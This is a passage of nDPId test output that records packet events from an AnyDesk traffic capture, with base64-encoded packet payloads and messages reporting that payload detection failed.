AAGEQFDI9L4mKOG63ZMYMOssbEfGhDAm+7YOJrcE0NTC\/IajcGKHE7y6AnRYT6t4rIBOqP46bCYdQkJ\/Ny5kAvCdW8Jh\/JsBI4JWxswRWOLEAcPD9Gt1nGPhem+7ffQkq8IvkGA9AOm\/AmtaCw+fmvjq4NRa2JXbPR0lKXBShVnpP8ixReHFKj8gF2Jt1Lyp6DSnC7i6hV4Gddncpv26cI6Jl\/8gSOND+3oVy+HCEYhBDoqTl4JeRZC+4g9Ny1kh3aRO\/L2RsabWIS+DmoQovJ+u+70t6bl6hM9lzC6sTzz4b3jURRudgaoftZRFoFllY4nRmipjSmDHSyWLk5m26cEdYaoUGyqEiDZMHXeiza9ObPBtzS9ux90J3zhW1C7qzc8MTX1YszOSSiPYKU\/b7v7OT6uggAz\/DQMDW+IQM6tjIGBBAOxFrRijhVwfXvwOePReg7SCzjeunk91zU4ol0sMPEKw\/6SConuUDDsnhDyGzS1Dp8\/gLXfatkc\/F4O04EEK8cuaHiBpETRvxLHSoE0PEWaSjHktqiof0UA547ncdhsZ9bSOX9VaMK7qiqZ8Mrf55Pf2RQqbMMrRoNspHZAkIh8BwvCdWdNwN7fzBsD9F53vr1QX6Tw9EcZjuIcWUufK2yOQEELFhdI89vp1rFyrOQ\/UqubOtBBS149U\/RQfTYMRN\/UiXBbpReU6nTrEeSqWRX0ojwebh0KTHyPQuFdufKiZmO7oufiO88PZrL6mSx+yzrd47rDsE7tVdx1Z1y119jPcDuI86REGIMN4Bo9J+r4yTo8Clid2M5azCHktEMIJ41eF5BllOxJoVjrbw58RKGqE7anPAWRkL0mUp\/pZdAO0Mk+oxz7jvmS3iLi6OSKQSvakRWOsoMJdHgSZ2ze7Py20\/t2OuZxlFmiomxyoowB48aq\/Yt24nQj9pkOAh6KUfW++f9KNLUhwEEVDp1bfM2wl442Vcxiowae74YkuK7BwX4k+qhQaNsBSCPfW5ZLC9Z1kPSXX+ipbZdf1P2yMhy4sbOITm1BfFTKJtQtvVliFooYVhMw4ZJo\/8skRxKQFgmt0kdgoOIpPS5Jk3rLLTdD17TNM2XcnPjdKTetB8\/FHl5Bs16w7brKY4AIQ+gBFV\/qcO7HG+VlJmeF7a68+5LpMCgXHr3pfNBYrJc4y5sW4Jxq5exHNRU7ytzKPld94NGYziwIXFQSWRTUrEAzHnTK4aF25TjRb\/vUH+YddLu51IiYC\/KYpilMfCyHjBUN72xPI7bRk0Sh8he8M3eMaBUIwDcfg2A6VHy6eQMkBkl40qQODJiG5Q1WJT9vPwNTtgtwApxnXn7\/B6V1xyk7LHVryG0Ow0VCVw5H9I9grPqdj6\/M4uaTmHpTY4uyhugrouCRPjWeMbj+Cy3rT7IauaoEp6ZMFtrhn5a3hp1cgk16IngdY7M8AzVsRP\/W6ZKvj04+AVhZAA5Mmh3Cci8AOzup3OSbAdJswHz7UMGyt51nHpT4l7Ztvi497zUBwcV7HPi3m805jO1VkHfOOfy0ttaukQ8R+dlaagd2KVg8XG18aWxWC1KwfBwU3UYCYxz4xCbvopnf2YeGFWAZMPeI+YHVp9zbeuiOOCX1L7D7KiJdViLhVndCRqlsfXvqyZUuTKFURSSk+uhP3lD8mvDc9DJ+RvR6J1zWn6m1rFA6xjgEJFjF4aKH6PIZg1JtkfiP9QCsT8XEwWPBs6j\/YZPkTQdGX6FJDbeDBOPNFmVJNKYzyPi1EVFyCapX53w=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1717,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5520} +04311{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1718,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":887532,"pkt_caplen":2957,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":2957,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAgYNAAIAGAADAqAG7wKgBstOUG56PK6POWcQ8xVAYIBKExAAAFwMDC1JZ4hNO+msWd2ek7jdkX4mcg5ejFME7IIKHALBUVT+2ziBZmfagflD7\/F5m2Rts2HUfxmu1\/mRm54XBOvgGiRx\/9tjp8Xvlzi2aOAutOIZVG2QBvvNVCm+DRPgKUVN9\/qCJlOWzqtm6bqTsGIXSjJPxQHV+K3+nuLKHmiAr3nCF4vpjTRS7AGj2uKrW2KfZEhS6gk0JOBN93z+3t5hS5Z6lrVlpRnOvYjnAbU3B0UvU5YV\/xx8wjQof2FM3miaz52xvE1GqL\/qqXRuo3+tB4mffmSACp31f1BD4rgKKUrLI0Rl4k8I2YCRtMGbeigkpIKAx9XdCoKr3FtaTS2pJxZAqkvE0q\/bAo5ZuSFt77Dub2l\/VhjVwYqI8okGTIb5agDnrOFyb3TBe2Rxg3eJ1mAe1Q3mWjRaLcju+rBalBw15+FS2wiLGY9KJotePxNwkixIwOPMWRLrZUyRCtovLICifBMveLhtQ5oXyji3vkivzDVxRbs4VWj\/bBiEDElFa2gY2FDJ5cFYCWyS2LoyjFOhV\/4cb7C7gxiXi4eUMnt4ZlssIABN0pfv\/35FStF5r3zNAMO9iXn0r8uQskeWitggkjnsD8XFpUHU4A1ksLo5xmpTGZNh0nYQCcE9f48T5BJpKwntbyR7yD1xF+chZq\/J6TIEOj6zpY97sfX7fNeGY4nkivGJVeFlpBim+g+NQPej\/kg0Hw19vQCw+j7GPZ38gKF6d4ry3\/Vhn1qPbhAMoEsd4lw8sSkl8Fb7xeuGY\/zV7a7veVojUhmhE62QReaPZP1RbeVca1P9YC1ZqGDpL27ArtViBfMwnzunGadivuFFJPq\/D2xgXpCBg2vamKHTCpqEuPlzSKeMSbG+LyRGyVw+iwRSoWAj0sHlbRw\/Sc\/ZYHafkKJthtZTF6q1k7YyyvETDeXjy2Ox45YKwk3GoRSObu1ypvLNdBu4nVAiZA4B7ch9eJoUE0d1dZRu8TCBUhzfngtNDeQnOhBxLm35JTg4h77QarxTBL8DEig07d66kHRWR3RgCHnoVnMY4f9Djykp3nocPEpBiVPDZtmhp0kZLnQ0G+G9K7imR2kKzOsvvtBM5CXJ9QxsBGjmt+xVO7ETX0aXdRndRGATXuTCncOJmi26mc2K50UE7ssXvnf5o7D1GxNZNjTuQKPif72GjqWVtt8K7vClu1p1KiQ\/wmqP0xW\/unZNUlbtdeido3Osq7UBF2q+Y1B0kK0AU6qd+90bz7w80V4bVRtGUgSRlcV8dDoTAibQEdnNEUDj9nD18ymUKfYuTW4qV\/APr\/sc8plDGpcoQGXIdb\/fVIuAvNoWFdp7SE+ytj+EhpQeTPmyrs4ZQY7XNlzocn+pSoTGLL9ttnWCWbDxLLN8cKK\/pqJ+3Gx8bIYCdMYa74A+2bfOgPluHIcxVJMQ\/Ia4xXFOXz13ZTF1r6NhocUdldEbfsdzbjC8UTKyEywevc41bhoxtZ6g8b63IwOUzKvLTkSwQsyiY980B\/UXXm2yN8AwqDr6IWWyvIXWvLznvc4RyDzhTWgHDwQzJ06t0ulkr5lKuSzWKW7qcGFlTdgWMrtXZCr0CpHRccvSKxSpWT\/XSEh8PXlT5wl3PRDBiZJWncOs0L1SN62rPdcz4PlBoZlhLcUBfNQ5K3R66JGTzBeKhZjY7\/WiJyAfjKe+7mUeqOd\/xX0ztUvzZveZYjcjHHHkyTPTZ1mgWcma0tl7fGlrmt9LTpl0F8kwicDXzNXMwY6EeIBRW15fypctd7LMG3CaGskH9I0nDyys7KQyYAhH5FjXmgKD\/QyJGIB5OOmkCZt66r\/BM6bbzM+F7kFWshFbSY1RCvAqmgttRK6wIE15fuRmR1jHsIB1vraWg6HT45L2LRvCml8qHo7XEx9ME1q1Abumyw0QUvnnBgyWnUqjkS4RaZ\/DNG0fFGg7ip7RPtLX9oy1+m0aN7CRDyIbF\/rfs3sclqDlDjh3OmnVqUJfUn0afvmUPzCvlGpt5URjZU7gGpq3fGyHyVApgjs6xje00BzOOpD0KWSLP1fM0VBt+LqEg7rws8J6WQY14vn45akkF2PSrYPOTrOT4vxUot25Eo5yYGuEF1qWYVi7yUnX9K8M9W3nIKN4OXCBRopcIr9x0dMmtak9KI+hPkonu6loRUmeX1UwNKhejDHjVTIalxnP75E913OxdmgIC2y4Tg6z2\/bZZP1LEM1fkd6iKMbE2YmJJuyRy\/\/RvX0B7Pc+dLoeK2RPM3WgvBqBQfkGyp+slY3ozR8+Avkt0MInm6ypresyHhYm6Kk6yTgcuzOv4ZyrDKngn168MVdDWR68pTjdMrBLvGfjDB5uZzp4JLyvXZogQEG6UMTbJG3Uau1qi6cWHpYu8L3g02iluWcEMh7vwe2E1v2gjVGiuIHZ41+yrkqT1ip1t\/V+C0xkDMTdQ6oVsQs3uXWi7ZaRMUMFwkyU1cDL715Js3SPY6GkXlCjMsPiRat+oLH4glIVty2a\/TLkizXA5ho60\/\/\/gyx5dYOCE2uE5vrCS9nZlej0pH3HWDpaE0jueyYBInIqkB\/7+vR49dUSS0HNjUMStgvwRqyoNxh5Qe1zI\/THjsTsCHtxrsUnTBHE9YNCyUk22HoXnJwmWhvimNJApoyoGRkKAdgCnpyLbDeQOt6h53Xdb0bzoiAebyNGtEQO\/eoGjA6aHKK1er8Bcn6ENyEex8omVzJ6OWSZqwvafyoArh4XuhPuhCDgoJ\/EDdj2WiWyhnTbv7moGI7fXcMdhdBzPt+waSqnNxafpwn4oPjfdCqi3esbUOznseRhQD1VX0punuUGYdwgMONTifqKyy+MQpWIDEpa6m+AQBmv0NlxGG4EmXUn4YLO\/0qNp9r7Gi4bTNgvkyUOian62Db7LwAhssGCgcRRQro8EyOl0s2tQBPkfLtqNoTEjLwPa8iOUDyN6rd8D1debaClCWMJGLhbiu0rD2r2PdZXSZyTwm1XemQDwY85WD7IqGiFxs0kgobUkqwkDJ8tXBKV9iSLTpESbQk8jlJcr2jmd4EIsbKIarEtHjSV1i9FJ4flzu0jcaHs2lISQJ4cirDCSZzz7HxzrpG7roT5bRj7nRgrs4O\/AmhXyHhOIXoBEyihwhHz3xtBj2MDWjdM30Ln3F2qZVblM7h+W0g9yqwqKx3YMgYW6Tc9FP4VpeXfB\/TuX1rwwJAZkqCLfzC6XVJ6MfeF\/ZjNMYIe4PVLw7ggrUoNzgDadaeBEmjEC9QWuR6TqKARGnykGA0qBl+KavhVQdsDhLRfJsBfj1No3Ylri78pKnhPFP9o7S5kdHH8xL0uRb\/tGVdGE2vsqq1QAJOSAyqBBPOjKRNRV\/iSORj\/C8dEcGw6mtxv\/85CqPUnB\/6voT8zLQRn\/mdzCgWjdMPrHdG6+cvYvTrI3dlkPpBfN8VB5fewIV\/pySF8+m792PdDiOEhUo5MySFFQpcZL+Qk3pGsshgbfKJ4myWZFoSIXo59mbNLIT0O5R9+ri9d7n9lKQY5WkgD362\/9Qs4pTkylkQ9MOqUNm0ro7wtLiYIVZssuy4aWsEb3nSa+TtWbBPu7O2bHWsL\/uuSE+nXnGh6cZOcxULboxUDJ2T6sr\/8qewGUxfifbiAYIuqdtFay5XD9WjjvI+r9m4gwiFLOiMTQyeHmbCb3KYzmJX22IFpD4\/+uBqiyM6UOhDt+GTUWVWSCGyiEBwVGnnkiWG8s+CebYtLw41XmxJHS1wG3TG6iyjrYg0XlTwGLKLVJS8JVcJIpltvFzQj6HExeE7EC4aTDL6D+aR4d96N7rhPvxdeNV0yNLGOL8ZKLPUEAoeBSVq1Kt85GPM\/UMUZd72h8Jt+1nYHRqG\/HDjExkSdAe9k="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1718,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":2923} +02731{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1727,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":916374,"pkt_caplen":1798,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":1798,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAgbFAAIAGAADAqAG7wKgBstOUG56PK7JKWcQ9I1AYIBGExAAAFwMDBstZ4hNO+msWeT0NionDvvppkiAjWkR4+I0jGpkWYcUPnkVCtVt3OfKgXQaxc4XA1PT851qsyk+gz1+2o66oAEkXm3spdlyrvD0a220pIpsNbzqwBzCrd0DVfnAIt5SzDcr0GVVINskc6t3dyQQJOvLVWsGnmQ8zuPJxwrTpX2bbBJbdkUKfrOWpKBYIzYBr2dzHlFY2kboY4ROKhar4662+cMAqeY3u6BqLw3a99BeiaPoonYr9bm4TF7VgHoYtr32qS\/Ti90e7tYQI9YELRGeH+LPeOAcEpOBFtER5EZzqf9kFUlZtv5ACRwqqbfmPkQzxj3\/X8iNwGkUpObfPpNokTkrSGHuSo4Oznf19SjijkCDZ2xAmw8ZwljmePsyeXCsb8w2L2lgaayWwbJ+z+2fF40b39LTMPXv5Dt6O+B+8YKEIpflfGKlkPZmQB+YXjLHSiDx9cdpFQOTBQC+GyaGkzjTyAd3\/QOCsV23G8O96cVmhmH3xfEfR4p0\/P6bojP6GoVRQaGn4IXNvr\/j9vte\/m8HPa\/V1Jy4kJ5MMx9ftxTlISxaguu4hM3XWBSLwruPTwFq9lSQAb9R6uOhxm8GPTUgfF\/j6uXEVW+xXOuRZKQpClprjboucTaQmP2bNXjyFnMDNswUge1Y5LclcWQqezGmufaU0NQKB\/ZleNe+kNhHNAjxm0dQ4VpFam2YgICp\/Y8tETlVqvdKKw4E29JUVXrMTj5\/5ZNaRrWBqE\/xfI5OHhYJwAEiTCNmy3O0P0YlxnAECyqyI5czvHRVzcBBYjVxTbRxAQJIXhSAsRvPN9Q8DTINEkNUwb4gyKhOJOXKZAsbK\/MHO4bQvexzTXrEG2JHwRB4M7ExoAwARAg1g0joWAXYM9QBxXK9yaMFjCSvuJmQKgQwUG9YsC0In8+t35IRngunYYaSNZBd4Af+Ub79vJYbArCadyXdpdzdZXIyOunCk2jSlWgjSoT+fV4TfsuYVeJCCD5F7yDDk0cuBSRw37f3RtAxddiBa98Z8qoY2gDAtrZH9Vq1oecKLDzcyozOH4RRIsKOrk2xDZxwRXN0A9z0ZO90Vg+yma\/1SbVWHmLyAim4OHDRdc03W93Z01GDDWA+iMk33GGD6K24TqL8BE8gVKBEeXBGuSLZP46q0lqd4nrmisBGN6WfNL8YB6EwH0i1fd8xgsW2lJI0MGzNGdyQll+2lWOgcZMz9j3NxXNv7twFoqyxS\/Own5BGei8U5FQfPZ6RBFx+CLmh5QDSUOwPWiPLdVnbcR8OCY8iCDxPRnRjQb968ucftXbSY9PUImeRY27CQIi2B3\/busUJygZaNGQqmcl\/kZQ3REx5AAGrjyOmeRCdOq0AHLgXH64KAFDa23lPKD2PeA8ZdHtu+rmfkziZkaoklBMkJ0Rkz+wffOvX5kCEhnkb5qveSJ5DbwKHNwkNFW+Usy\/e0ap\/u0MNA8ZUFBuUIslYdH6cli0tQcU2vzMdESoHlfoygX3E0wI+sPezccbMJL4rjkpjyU+hW+dEdYY2XQcMxJRjoFsa2K9\/Lj6eDE8XCjIRw6mRCIVebk5ib9ZbJ6o4hk9ir5f0YSVKTJJe2q4zT1luUveo6nQzafw9aeyD1ecE7ytf4qNgB0ykOjfBZ9MhHZBIiG6XjbHjNeST2t8xVmoIyuEI9OKWYrhdn2TtzJK48mXBc2UXphCKRjLKUBWGiLsjPIqmfl2D95tYhH0p8vnrjgn2GB9TyrYBMDlXLcw7AtpVrldI9v7x25XxxhlbpFHvZsBFUlSoV2B5zz4TCWIaoBKomUj0ZPewmd+0gQYNK2CpCsRKC8rO\/33bjy\/M7KeyzUOLFjdPI\/NdHrlkjsIHG4UCv\/WY+8xmUnznJwz3ZBSKrlQmjKfy1AQbl4dIl0lI9TjRqbxmh\/shyjMTy+mlrpo\/6ThEIKCLz8OWRqNNXjNTqHn3V+Wuzzp3bKwkNv5TPEd89gA1V2e513Pe2AhygzaO6U9e5jlhcjyCjP9NEpz10RaDeN7uFZtmMVe7TfHX7ff7YdkKfaIN5Ch2ugOYQ98BhgaflzbjN5MAayuzWKpwfSGCttTt4IupL+6ALsX0KrHGNJDcEde0rhSuSwtz+k5QBVBC+gJo1pwVdOS3w4aINFj7nVc8h0FqzNiDl775+ts1mVKGQ+vV6YKcP53EEUemE8PbnWO5bh1VytAncUKd0x8dA3XxkCFd69RVIuaGzgtN0LSr4YVv6NMSNImuJzF9RA7EbvNOmsvHgPVfFeemvBlpEpagW1HpoVvj6zU4QU4n4mYGWQZanAj3OMxSnXY9lviojvYvZYA=="} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1727,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":1764} +07835{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1730,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977610,"pkt_ts_usec":920914,"pkt_caplen":5556,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5556,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAgchAAIAGAADAqAG7wKgBstOUG56PK7kaWcQ9UlAYIBGExAAAFwMDFXlZ4hNO+msWeiVzetUO1kEKa5R2yGJRGIi7RbwbQPkUPgwnhB6kWxZmeXCBW\/\/zT5dt\/x1xo\/gGVEfzW+lvfPH6eFH3pOisQVO0hcWMfHvB3Ex9eF\/nn9eooA2h6vnj7Sz8OzMTwGmKII3wb6Qa0jN2u2QAO+FTYYyuFm9VGlAiem+LKTNXZhbMlJfN8hzxiNyHmHl++o137uOc1DAhsAdwkeIrFZpdRNfBbnJUvcrPSBxlWnzDAzZJrTk5lQeo6XoibxdZxJjnaf1en41H95v0zQm4O8dkxiQAPs\/TfRLpuMDZYlxou9gt1re+JOV4N4TqhhLhfWaOcoMJKB8qDqUMLpH+j\/BwI2owN+OWyEsSB7y5MtOGhG2iL9+3jYBPEt+d00Hp4oP8e3b3JGj8dG7AyXUeKRLrFX\/hSPxAq0H8R5tMeJZWxelDQX0tcxtJaHnIP0Kd5m3Rym5o7mAOpGFzNPpa3bzvGJseE23lsJNtJyiltSQqhQJuGWkbuyNlU8O5VRSnQp1TyXF5E0UmIrh2ro8UusEP66gYqaiS0l7Yk1viE8VhlAr7F7YVYXnHCh2VKoQDSgzwMhLj4wTq48CuwIsMtWxml4L8NSAmjjrIEkMNRWJfvknOnN+W+3MrU5crLtAxXM6Wv7Zy9jU0KIP1s1Kfc2nuLPrmOpHa5UK4FZ8y\/l27ipRixIZ14gZL7ikbbcGnIt1T8VWLZC7OSsWzNYP4a6PgaOqMT38YGFdNM8lM7gh2tnmCEUZdKWg88Xc7nAFtQa6+NpUXee0pfKofyxZQmxiR0lIngtD4ICxRYLVXGV4Jn4hId9\/g6OoHn1O+s8Is3ndsvQkQcOxeAfaaCFE\/A46gnxPgMMDGJ0VbGTbo+RiftqBNAbzYkgKvNloLRzLqHwQbL\/\/N+ugG7Ns6JIOm28rFWfQs8nR0oAc0YTFSOCVxi\/kGzTVZmSmPUZjS+TlLViqrWrzf8j8vDJB0IUmV+dgzTKXnKDz\/pR+NFBBB0bOijA2AQfovkFDYNX6HPT8CQY3M2xnsTYvSs3k01Qh0b4Uk7otU6UDdqhAoYhPi7vbiIFpTrZCdWFcEuegIdeJ0UFsKs4L7GgkqwzFFUJ07rpAeFd3iANQLj8BDPmTnrlwaOZtL1hmiG\/vSxRN7wTc4jvidE1fGQiKI9M+BP+IyKM5ot8cR7AOuZ8XEnLSwaAJrGatKRKoZelHkx2Bl\/UA4nP3VJfwj3ObBg1VtviNRX7i2p3kXrfcmJt+cHP6Q8tJv8fW3LT5x8w2qv\/SmJcuLqL8MfpodRglmsBYj16rYgwsk8gR59CieSvM\/zvPjFb1CoJ4SIYX25hPJFLxosUyuDLEZMz85ii2XJlaOD0bacDgC3MWPM5LkMyQTdEwf4zGJNxPYFjlBjMMbDI7wOvCxnt\/iwT0e4qbLF9nTEuoTgI0tALg\/cgqYQ3btjTev7eZgu4PB1F4Mbb\/iXua7QdRdgYOwkhmgbt\/1lQO0iRw0kCvjaqvEMtjTEi64sAvPmR7aC3qSpgT0HkaUWovKPQTVv0tspnqQMe+VPj1xD\/ELMCpMHh2vJiFVMpzsr+sl3RDQVk0dKXswg70\/fi8Utk2J4T7mIv0BkDXzcyhp1K0AMD69AYWhf\/3dr1PHFvcg3nJLLX1CgRmKHRReNVUr6o\/68IbuMIkluxkHMEqe5IVIQrVSpm25nc9c\/Hs58QFr7rbokvXLKDpzNq9tVrfir66zxEBxlS+W+L20kls3r\/R8B\/6Q1aefIbIhiJO49Ix8r4kiJRaRbdMCXXcjU0HrCCuA6Rpg02TYazoDB71oluz6gXlCIFDr2koRPizbUPNzbf7QE6ON\/uBu2uyj4EE429ujLcUCCHlCtQZ9854nyXji6DCEn5zVII8ScA2eCuoZfURSZflpBQ\/RVtbovc6gu3Ol2LaSq6HK9eLK+yAizCuGxln9A0s9B3zhCeiaUWVG2HsJ50rfVdxfxAzjNmenXea9apRg84XmwvbRv+wbyVPuBBfIK+KfJyg6RwGAaOAU21yuL8vjjcYGzXCWbySXCmHHL7U2IFq0J+xs9BVBpcsB2HNMNI8lc1QMHX8YDpN729JTAeZpkNMtW4J+BC813ht2c\/P6aRZHga8gU0SpSXhCbLr2FYIt1DZmm7navW93YMs7hEDMpQlYNrUXmax15I4GTEsqRQua3Vwqc9xgCQfi75bTdGIYEXFr\/9hhKppQxkbvtWs9baaigIR8x0s\/wOJ7GunrUMsNlCF3gZCgZYDpxBJ995PjlnURuxP\/F0HASs7Oxw8rUaKFAPxkBntcwnOIfpXlGtfF9ucI6SW9U3F0dquEMvAaiGoyZu5VUxJps39SxarKHC3bqfd+RqTaF8QbyY8VU4aTl4kmqex6wKlF8akGMp6CJi4dfjNW4If05zulM\/5QWQpC95CcoO5U7KdQRG900haBJLO5c2WqXMUW6ajDDxgKNNToD+npSqhuA73Q1S9a6fEnjGtx1+cnP1ZDCCc6LCcagsEpZzGJ2cRm2BLtZR95+k06N1z5IQGn86qjL5OkkNnUeIxlnypvHMndpJQW4t1Zjlo9OPQh3Z40FWtlYVeG6lpvnKGauyN+SrmuK9ljOqgMOlw4fJGZvpvWuDw+vgiRfvEUnRLLLS6JcAWO3skC4g+ED6KnQouke2ReTMrqUVc9T2FPY79kUIbJddvWJsLHwFTx8AHIf\/3YL9AmgzWqSj5JYtQqfKzPdpj0UzucL4hZJKZaG4UTJucTra1EeIbRogihAii0XC2p7pJpdJOwno1ephUBuMIHhg+dbIjbFjbX79A4fhFDAzsdwoYg7t6QsooZmv+BCW6BK6pu0MteL1RvAEXvk9IXaBwL0YRda2CA+TBmtOhHhlukBArQQQKGfTAUrBPEi7ryahzqwCABWyLzeIJCcqJLYVtlIlp71Jdnr54ciW8RYRbz\/TZPbkDCmfjp2cFfzyxfTSNsuxy9AzVZYkt1af2pxeq\/I9EPzpTw7VDG\/TA+xj7YgV4Oa11+bjaHZzKGuXimkbRWP+KCYqB4DClKvZKb3xBWhlDeLnCB8eRtKu3dEOx4Ru\/qu71fEX8+dFblDFR\/CDnv1QzI60KS9R8eIg84xj3A6mUbAsLtlj5Wb3TYo8sIvtxmFEjEuumV7PPkfk19HiKnCinChl1DpjCwnegOgGy5Vpve1Ze7jZto+E7CN17t+uFRrjewdUyjxW9JOjh1i3OMoROwYNx2hJGjuvAeASht68hUJXAKp+gRhOFSf99yIy+eBdO2un29D2K54YjYSwyQmxT0fRcQ+a6NqvxOk7gPAm6tdc80VZBzygRDwgEJ\/5YSuUwcJ1nEmPEaAURVEuh77nOB+Z7Ht5DsuWJCduRS5FoWvhCqiOkA5ke9pZCV\/NJQppBIyKTlCjT83cWjgAe1aMZq58TCU5V0iQ+vUlFI7zuAKx1gX7PSLfy8ekyRr9I+gq5FXdwI6ma\/qaZPJgl32SUB2Bciv3U4HSJ5dc9IwdieFmEPJS1AxJP7QzbmqHezuQX3eBN\/uxH2cb2A8bHxeBus4vgN2JmjD6n3C\/vphko58LdNh8KsW1eGMB3xRF7MioDfzUSGr2ExlhKFzBfoMWTyY4zpZE9pPVDSApBqAGDxdMp5LyI7wUiBdjhdHAKfq4EeIocLo2VKN9I470\/Bbw1DMCTiMVYP3GCCBJojHKZ03H7Ot8Imrhud2MXE\/BIvYKynPzi1sZ4mlx0FGRB0eiq9LWw2Y1yHcAnQHd+4gVPs+mhdJRAD80lzP8HMnk\/nJjUhHPaJVV0IGXXwaoVM4+m1q7TH\/5fwHomU8GUGML7Rlro\/6iT8QfB0q8aqwLvKKk\/fcq4yt12GP5nBjN0voTps8KmcfbZpG+ZDwS\/iPBYLJEMJKf\/itAO4rswuJpRjMd0Iv8A5lZp3j9yWmnyyN+U+VCEbDO\/cYDLrT1KQr39HJg4YJiyFdZiyPjWdT0m8EXBFLxR1TvNw29Upb4qPn248UxSUxEEx0SCIL1gtzWvo1Q1hNVjaSFrlppDxulUA3FR3nlughrnpnUbjrlonsjBxDATfJeyJp7oZkOLYPqIuQBkUl3GyNBuAiYlfQugwFbtJXaPHXhU+cpeM5+s+Z1BiSNIDKG1SIC1et00ETILuL1\/jcZ23ddANbKsxZhaB\/kqSvM4BHUEwVI69VxouX4jxwmeoq74DCHHUDuu8U7myFMfvp8wwQvSvNgtmxDOFCqrAgwQ4fRBqgrb3OtVMlW+2i2kA6u+iRdwDp0Ar6vMIlIrqs6\/YikVpAL3OxUUl9A56Nry20zkLO65rMXFicWoNAw\/2d92pdwKnTxKkqUhrvaeMmGaQ7Vq\/w6nyDkuJjBsFJgEcF5UJ\/FvPAZIHqh5o4Y8OtAk\/\/oNsYHAkgzdOfCuxQRnC25C96dc6SBU1m6wFsoa3qbqNhijBUbJ6QdFpp7nRQk4fCnOWpy9HoEcqbz0yddrPNXyEZXXBILDUADUt42\/iF7Y3\/qeLz4lTzWnG6KjzC5ZdVdZdZEFkgZsmZ0wTBj\/m9RAdcqlbWFLyVhxpL5ZBPfCoLxKr7TJwu12Dv+wR+rcqTMBK3U4LVppolNABRKIB8Jf5Ir3M1AR2vlSqq+KU6Yqp3\/MpLcUes9fY+yJ+2YduBQVF9GhdxXGGPLfR6TSF8gIe80\/HLNEk1H7tt7K+KGDx4tsT6JQZ+aN9gkn1CD8gAXWqmgvkbRojhOA\/czvW84LZGJ0fuoZJuizpQ0K5i42BQk5o+uHMaPcXlGSbKXZ7v5yp3wrmbNL72rw5emRVv4BrBpOMLBQcgHq2MG8XAOlqNf0V0UMVMg+aArHyQ2vzHlxsGDyRo8S3s5i8yRfnasWbWN7S0KJb\/+6qDvObaJgWTi\/1qY0PD5yMVzAudzCQY\/iAVsfCX1GIa6YO1Qn3FQ8PehkJdU38Oh35LvEQJ3HtevrYQ+mk1iKj9cjVTyNEwxBXZT5huMQS7ZNWA7opSEPKNYggpHazilvD41XFYCXESZIp2u0bN5Ze9EFreTNYWUrrKMoX+fcFW38FkGb\/yJ9Gn+ZV3ac0U1fv9Lc7qTv6DEHfSbRBOC18NkayGYYtcAO7SG7DzNZBliJnD\/ZAz05NkLDWUUiFNN7yeGcpBUZAHBGrXfset7+wmIQqGCWdtDN9+6f++WLHCwJEBXLcSxDxYuAxvH2qGvaUXgozNRezzRm891u+OK38WbToFYiQlyDFLC0HAwOW\/KRD\/heIu0Q35Am\/5kaOuEwIeX1h5yc39BYYTDbW\/EnK1TAk4b7PxpoPlhaHV3BipGMod8q0HijBJ1VhL0ppxH41pgQXn\/3qkPYBZ925bGNDdOkVwA9xn1btljtyRZ+Zht\/P6Q2UhiXAkA0wkdVrUpL7nKRYl9R6PVj\/QbUmyo4wkRLhy\/mkgxzAUYKSLywjCCN8QIrgD7j8b9Sm1qADxrz6FHLI0i3uqs7Z\/Gy29z5q8K3PHYZO8reWplZXjS7ZNBicum4MwApO\/7bb0iPFrtAp3nqMBdkLqS85sRub\/FKF0J66LU8xGhDlaT2AV5Zy2+80zvM71axL0zbGKdRua0\/0Sxd8m3MBxh1wc\/KPqPre7uuy74qNKQzuDdVlVuqvR5auH51vt4b8pvUrv3GFAchD6s4eU5rQEzoL+dP7vOopad5WH0jyBXpB7lcoc5iYjMEW5GFe5L0W2j\/\/NlcVUc3WUHWL3ejwD3xKAw8qsiFOXnCo2KPfwiEiJpEncFo\/NQ4lipQ\/OSj\/LNMNgtBhMfXirkEy8pGt8F3cQl5K+dlcHCAzR0\/\/yPKQkCtiP4C0IpYxhIlNMS6propM69t5edVLatTvs0X+uoggBsD6EKfq9UkEwCDPNBsrWLNgZl0EXuNjZidczHhhVJpQPereKwthsL7c2hPvpYJNgI+qe3c2\/ArPnN4y2jnpZ9jG+GvKQeYSkLs6aVv\/omGAAAJ6ZW4eIvLA+K7Xm8mP+TnDthVfGRdmQeDu01paKjgGp\/m3s057t01S7XX74ve1UIRj06jaW7zWDF6R4LY6\/wT2M\/91OqCON1iSToGJuN3S5rJpNzbRMsguteCNGagNsqlweNgZHaUGyfZXzdqAV2KaL1GwPUf0626UiDNMNz22GtHPcDXAqaY2Raw5mKmvPpabYhJ1D3r8zeYJasu8xWjvIhW1ZeZxIfVi9\/Fmuurevagvfw9gvMTUCeXlrtOAKWmjJpjBTJn6Zl0ZnIcG2KTo2eWSVf\/1oR2SgxAJPKLZzk7Ue1sPNdoE14cTvodXTa\/RUBvgDeJCZ7T\/Kg5OQxas90AgEcedui9KaHhnaK5tLPYwteh6jWcANo2wIXgabA9tdMF\/DjK1CrW8sTanx\/\/K7AY0FIbgNCmvGF9ZgfvMzo20bzIULAs6K